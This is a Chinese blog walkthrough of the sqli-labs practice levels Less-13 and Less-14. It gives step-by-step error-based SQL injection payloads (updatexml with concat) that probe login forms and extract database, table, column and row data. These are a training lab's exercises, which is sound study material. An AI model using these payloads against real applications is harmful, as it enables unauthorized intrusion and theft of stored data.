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sqli-labs less-13 --> less-14

Less-13(报错盲注)

1.判断是否存在注入点

输入admin’时,出现如下报错信息,经过分析,存在注入点,且注入方式为:(‘’)

执行uname=admin')#&passwd=&submit=Submit,回显正确,但是没有信息,判断为报错型的盲注

2.判断回显位数

uname=admin') order by 2#&passwd=&submit=Submit  判断回显位数位数为2

3.爆数据库名

uname=admin') and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=&submit=Submit

4.爆表

uname=admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=&submit=Submit

5.爆字段

uname=admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#&passwd=&submit=Submit

6.爆数据

uname=admin') and updatexml(1,concat(0x7e,(select group_concat(USER) from users),0x7e),1)#&passwd=&submit=Submit,报错显示如下,原因未知

 

还是换成emails来爆吧...

uname=admin') and updatexml(1,concat(0x7e,(select group_concat(id) from emails),0x7e),1)#&passwd=&submit=Submit

 

 

 

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Less-14(报错盲注)(与less-13基本一样)

1.判断是否存在注入点

当执行uname=admin"&passwd=&submit=Submit,出现报错信息,如下,当执行uname=admin"#&passwd=&submit=Submit,回显正确,

经过分析判断存在注入点,注入方式为:””

2.判断回显位数

uname=admin" order by 2#&passwd=&submit=Submit 判断的回显位数为2

3.爆库名

uname=admin" and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=&submit=Submit

4.爆表

uname=admin" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=&submit=Submit

5.爆字段

uname=admin" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='referers'),0x7e),1)#&passwd=&submit=Submit

6.爆数据

uname=admin" and updatexml(1,concat(0x7e,(select group_concat(id) from referers),0x7e),1)#&passwd=&submit=Submit

 

 

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posted on 2020-02-19 12:12  B_roin  阅读(208)  评论(0编辑  收藏  举报